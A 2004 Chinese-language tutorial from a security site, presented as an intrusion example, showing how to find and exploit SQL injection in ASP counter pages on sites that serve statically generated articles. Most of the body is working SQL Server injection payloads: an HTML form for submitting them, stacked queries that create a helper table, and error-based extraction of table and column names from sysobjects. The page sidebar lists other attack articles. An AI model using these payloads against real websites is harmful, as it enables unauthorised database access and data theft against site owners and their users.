首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
SQL注入的不常见方法
来源:vfocus.net 作者:桂林老兵 发布时间:2004-04-28  

SQL注入的不常见方法


桂林老兵0426
大家在是否碰到过这样的站点:

全站文章系统采用FSO静态生成的HTML文件来显示。

这样做的好处一来可以减轻服务器负担,提高访问速度。

二来也阻止了SQL注入式的攻击。。

我来说说他们的文章系统原理:

全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

攻击方法:

查看源文件/看里面是否有通过JS来调用的页面。

如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。

我们就可以这样来试一下可否注入:

http://服务器域名/count.asp?id=1552'

看一下是否出错。如出错说明有注入漏洞。

然后正常攻击。

在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

post.htm内容:主要是方便输入。

<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>


对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values('test');--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:


Microsoft OLE DB Provider for SQL Server 错误 '80040e07'


将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。


/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

……类推

明白了吗?不明白之处到论坛提出吧。。希望通过此文能给朋友们提供一种思路。也给网站程序员一个警示。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·如何把ASP编写成DLL
·动网论坛上传文件漏洞的原理以及
·建造永不被杀的80端口后门
·通过乔客(Joekoe)看过滤空格的突
·免FSO的CMD.ASP带回显
·用expect写的bbs猜密码工具
·桂林老兵的SQLSERVER高级注入技
·Hook 系统服务隐藏端口
·Discuz!跨站大全
·Backup a shell
·入侵www.cnwill.com
·入侵灰色轨迹论坛
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved